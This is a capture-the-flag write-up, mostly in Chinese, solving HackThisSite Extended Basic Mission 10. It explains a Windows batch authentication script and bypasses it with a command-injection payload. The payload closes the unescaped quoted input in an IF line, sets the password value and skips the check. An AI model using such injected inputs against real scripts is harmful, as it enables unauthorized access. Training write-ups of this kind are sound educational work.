HackThisSite - Extended Basic Mission 10
Challenge
The following is a batch script authentication system. Your goal here is to get the batch script to authenticate you by inputting a password into the field. For this extbasic, your goal is to circumvent authentication altogether. Decrypting the password is for extbasic11.
关卡给出一个 Windows batch 认证脚本,要求输入内容使脚本认证通过。本关的目标是绕过认证。
关卡页把脚本正文放在 <code> 块里:
1 | @ECHO OFF |
Solution
PRIME 和 CHARS 都按 3
个字符一项排列。内层循环依次取
0、3、6 直到
75,将输入字符映射到 2 到 101
的质数;命中后执行:
1 | SET /A PASSWORDVALUE*=对应质数 |
最终判定要求 PASSWORDVALUE 等于
1065435274。该值的分解为:
1 | 1065435274 = 2 × 6827 × 78031 |
6827 和 78031
不在脚本的质数表中,因此按原有乘法路径无法得到目标值。可利用点在输入处理,而非乘积本身。
认证前的判断直接把原始输入拼进双引号:
1 | IF "%INPUT%"=="" "%~0" |
输入未经过转义,可以闭合字符串并追加命令。使用以下 payload:
1 | "=="" set passwordvalue=1065435274 && goto :end abc |
代入后得到:
1 | IF ""=="" set passwordvalue=1065435274 && goto :end abc"=="" "%~0" |
""=="" 成立,set passwordvalue=1065435274
将累积值直接设为目标值,goto :end
跳过整个乘法循环。set 的变量名不区分大小写,所以这里的
passwordvalue 与脚本中的 PASSWORDVALUE
相同。
到达 :END 后,判定行中的 %PASSWORDVALUE%
会在整行执行前展开,早于 ENDLOCAL:
1 | ENDLOCAL&IF NOT %PASSWORDVALUE%==1065435274 GOTO :ACCESSDENIED |
此时展开结果为
1065435274==1065435274,IF NOT
条件为假,执行流进入认证成功分支。